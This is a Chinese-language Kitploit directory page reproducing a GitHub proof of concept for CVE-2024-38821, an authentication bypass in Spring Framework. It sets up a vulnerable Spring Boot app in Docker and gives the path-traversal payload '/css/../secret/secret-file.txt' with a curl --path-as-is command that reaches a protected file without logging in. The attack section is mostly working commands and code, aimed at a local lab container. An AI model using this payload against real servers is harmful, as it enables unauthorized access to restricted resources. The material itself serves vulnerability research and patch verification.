Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-38821-POC — 针对CVE-2024-38821的概念验证漏洞利用程序,演示了Spring Framework中通过路径遍历绕过身份验证以访问受限资源。 | Kitploit
工具/GitHubGitHub/masa42/cve-2024-38821-poc
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

针对CVE-2024-38821的概念验证漏洞利用程序,演示了Spring Framework中通过路径遍历绕过身份验证以访问受限资源。

查看仓库
1241年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38821:概念验证(PoC):Spring Framework 中的认证绕过

这是针对 CVE-2024-38821 漏洞的概念验证

执行步骤

  1. 构建 Docker 镜像(基于 Spring Framework 6.1.13 的 Spring Boot 3.3.4)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. 运行容器并将主机的端口 8080 暴露给容器

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. 运行以下命令执行 PoC 并确认漏洞

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # 预期:302 响应(需要登录)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # 预期:200 响应(已绕过认证)
    

    如果攻击成功,响应将显示:This is a secret file.

解释

  1. 创建 SecurityConfig.java 以配置访问权限:

    • 允许对 /css/ 下的路径进行未经认证的访问。
    • 要求对 /secret/ 下的路径进行认证。
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // 静态资源和首页不需要认证
                .pathMatchers("/secret/**").authenticated() // 需要认证的“secret”路径
                .anyExchange().authenticated() // 所有其他路径都需要认证
            )
            .formLogin().and() // 启用基于表单的认证
            .build();
    }
    
  2. 创建以下 Payload。由于 Payload 以 /css/ 开头,它匹配了允许访问的路径模式。它不以 /secret/ 开头,因此不匹配需要认证的路径模式:

    • 路径:/css/../secret/secret-file.txt
  3. 使用以下 curl 命令执行 PoC 并验证攻击是否成功:

    root@kitploit:~
    # 注意:需要使用 --path-as-is 选项以发送未经 URL 规范化的请求。
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

    如果攻击成功,响应将显示:This is a secret file.

免责声明

此 PoC 仅供教育和安全研究目的使用。在实际系统中使用之前,请确保漏洞已被修复并且您拥有适当的授权。作者对此代码的任何滥用概不负责。

下载工具